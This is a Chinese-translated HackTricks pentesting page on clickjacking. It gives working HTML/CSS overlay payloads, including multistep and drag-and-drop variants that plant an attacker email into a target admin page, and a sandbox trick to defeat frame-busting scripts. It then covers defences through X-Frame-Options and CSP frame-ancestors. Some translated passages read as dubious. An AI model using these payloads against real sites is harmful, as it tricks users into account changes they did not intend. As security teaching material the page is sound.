hacktricks/pentesting-web/clickjacking.md
2023-08-03 19:12:22 +00:00

16 KiB
Raw Blame History

点击劫持

☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥


使用 Trickest 可以轻松构建和自动化工作流程,使用世界上最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

什么是点击劫持

点击劫持是一种攻击,它通过欺骗用户点击一个不可见或伪装成其他元素的网页元素。这可能导致用户不知情地下载恶意软件、访问恶意网页、提供凭据或敏感信息、转账或在线购买产品。(来自这里)。

预填表单的技巧

有时可以在加载页面时使用 GET 参数来填充表单字段的值。攻击者可以利用这种行为填充表单的任意数据,并发送点击劫持有效负载,以便用户按下提交按钮。

使用拖放填充表单

如果你需要用户填写一个表单,但又不想直接要求他写入一些特定的信息(比如你知道的电子邮件或特定密码),你可以要求他拖放某些东西,以便写入你控制的数据,就像这个例子中的那样。

基本有效负载

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

多步骤负载

In some cases, a simple clickjacking attack may not be enough to achieve the desired outcome. In such situations, a multistep payload can be used to execute a series of actions on the victim's behalf.

在某些情况下,简单的点击劫持攻击可能无法达到预期的结果。在这种情况下,可以使用多步骤负载来代表受害者执行一系列操作。

The idea behind a multistep payload is to chain together multiple clickjacking attacks, each triggering a different action. This can be done by embedding multiple iframes within each other, with each iframe containing a different target element to be clicked.

多步骤负载的思想是将多个点击劫持攻击链接在一起,每个攻击触发不同的操作。这可以通过在彼此之间嵌入多个 iframe 来实现,每个 iframe 包含一个不同的目标元素以供点击。

To create a multistep payload, follow these steps:

要创建一个多步骤负载,请按照以下步骤进行操作:

  1. Identify the target elements that need to be clicked in order to achieve the desired outcome.

    确定需要点击的目标元素,以实现预期的结果。

  2. Create an iframe that covers the entire page and set its opacity to 0 to make it invisible.

    创建一个覆盖整个页面的 iframe并将其不透明度设置为 0使其不可见。

  3. Embed another iframe within the first iframe, positioning it over the target element that needs to be clicked.

    在第一个 iframe 中嵌入另一个 iframe将其定位在需要点击的目标元素上方。

  4. Repeat step 3 for each target element, nesting iframes within iframes as necessary.

    对于每个目标元素,根据需要嵌套 iframe在 iframe 中重复执行第 3 步。

  5. Finally, set the target attribute of the innermost iframe to "_top" to ensure that the click event is propagated to the underlying page.

    最后,将最内层 iframe 的 target 属性设置为 "_top",以确保点击事件传播到底层页面。

By chaining together multiple clickjacking attacks in this way, it is possible to automate a series of actions on the victim's behalf, potentially leading to more advanced attacks or unauthorized access.

通过以这种方式链接多个点击劫持攻击,可以代表受害者自动执行一系列操作,可能导致更高级的攻击或未经授权的访问。

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

拖放 + 点击有效载荷

This technique combines drag and drop functionality with a click payload to perform a clickjacking attack. The attack involves tricking the user into unknowingly performing an action by clicking on a hidden element that is overlaid with a legitimate-looking element.

这种技术将拖放功能与点击有效载荷结合起来,用于执行点击劫持攻击。该攻击通过欺骗用户点击一个被伪装成合法元素的隐藏元素,使用户在不知情的情况下执行某个操作。

The steps to perform this attack are as follows:

执行此攻击的步骤如下:

  1. Create a hidden element: Create an HTML element that is hidden from the user's view, but positioned in a way that it overlaps with a visible element on the page.

    创建隐藏元素创建一个在用户视图中隐藏的HTML元素但是以一种与页面上可见元素重叠的方式进行定位。

  2. Implement drag and drop functionality: Implement the drag and drop functionality on the visible element, making it appear as if the user is interacting with it.

    实现拖放功能:在可见元素上实现拖放功能,使其看起来像是用户正在与其交互。

  3. Overlay the hidden element: Overlay the hidden element on top of the visible element using CSS positioning.

    叠加隐藏元素使用CSS定位将隐藏元素叠加在可见元素上方。

  4. Trigger the click payload: When the user performs a drag and drop action on the visible element, the hidden element is also dragged along with it. As a result, when the user releases the mouse button to complete the action, they unknowingly trigger a click on the hidden element.

    触发点击有效载荷:当用户在可见元素上执行拖放操作时,隐藏元素也会随之被拖动。因此,当用户释放鼠标按钮以完成操作时,他们在不知情的情况下触发了隐藏元素的点击。

This technique can be used to perform various malicious actions, such as submitting forms, clicking on buttons, or even performing actions that require user authentication.

这种技术可以用于执行各种恶意操作,例如提交表单、点击按钮,甚至执行需要用户身份验证的操作。

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

如果你发现了一个需要用户点击某个元素才能触发的 XSS 攻击,并且页面容易受到 点击劫持 的攻击,你可以利用它来欺骗用户点击按钮/链接。
例子:
你在账户的一些私人详细信息中发现了一个 自我 XSS(只有你可以设置和读取的详细信息)。用于设置这些详细信息的页面容易受到 点击劫持 的攻击,你可以使用 GET 参数预填充表单。
__攻击者可以准备一个 点击劫持 攻击到那个页面,用 XSS 载荷预填充表单,并欺骗用户 提交 表单。所以,当表单被提交并且值被修改时,用户将执行 XSS。

如何避免点击劫持

客户端防御

可以在客户端执行脚本,执行以下行为来防止点击劫持:

  • 检查并强制当前应用窗口是主窗口或顶层窗口,
  • 使所有框架可见,
  • 防止点击不可见的框架,
  • 拦截并标记用户可能遭受点击劫持攻击的情况。

绕过

由于框架破坏器是 JavaScript因此浏览器的安全设置可能会阻止其运行甚至浏览器可能根本不支持 JavaScript。攻击者对抗框架破坏器的有效方法是使用 HTML5 iframe 的 sandbox 属性。当设置了 allow-formsallow-scripts 值,并且省略了 allow-top-navigation 值时,框架破坏器脚本将被中和,因为 iframe 无法检查自己是否为顶层窗口:

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

allow-formsallow-scripts值都允许在iframe中执行指定的操作但禁用顶级导航。这样可以阻止框架破解行为同时允许在目标站点内使用功能。

根据执行的Clickjacking攻击类型您可能还需要允许allow-same-originallow-modals更多。在准备攻击时,只需检查浏览器的控制台,它可能会告诉您需要允许哪些其他行为。

X-Frame-Options

X-Frame-Options HTTP响应头可用于指示浏览器是否应该允许<frame><iframe>中呈现页面。网站可以使用此功能来避免Clickjacking攻击确保其内容不被嵌入到其他站点中。为所有包含HTML内容的响应设置**X-Frame-Options**头。可能的值包括:

  • X-Frame-Options: deny防止任何域嵌入内容推荐的值
  • X-Frame-Options: sameorigin,仅允许当前站点嵌入内容。
  • X-Frame-Options: allow-from https://trusted.com**允许指定的'uri'**嵌入此页面。
  • 请检查下面的限制,因为如果浏览器不支持它,这将失败开放
  • 其他浏览器支持新的CSP frame-ancestors指令。有些浏览器同时支持两者。

内容安全策略CSPframe-ancestors指令

推荐的Clickjacking保护是在应用程序的内容安全策略中加入**frame-ancestors指令**。
**frame-ancestors 'none'指令的行为类似于X-Frame-Options deny**指令(没有人可以嵌入页面)。
**frame-ancestors 'self'指令与X-Frame-Options sameorigin**指令大致相同(只有当前站点可以嵌入)。
frame-ancestors trusted.com指令与X-Frame-Options allow-from指令大致相同(只有受信任的站点可以嵌入)。

以下CSP将仅允许相同域的框架

Content-Security-Policy: frame-ancestors 'self';

有关更多详细信息和更复杂示例,请参阅以下文档:

限制

  • **浏览器支持:**CSP frame-ancestors尚未得到所有主要浏览器的支持。
  • **X-Frame-Options优先**CSP规范的“与X-Frame-Options的关系”部分https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options)说:“如果资源使用包含名为frame-ancestors的指令的策略传递并且其处理方式为“强制执行”则必须忽略X-Frame-Options头部但Chrome 40和Firefox 35会忽略frame-ancestors指令而是遵循X-Frame-Options头部。

参考资料


使用Trickest轻松构建和自动化工作流程,利用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥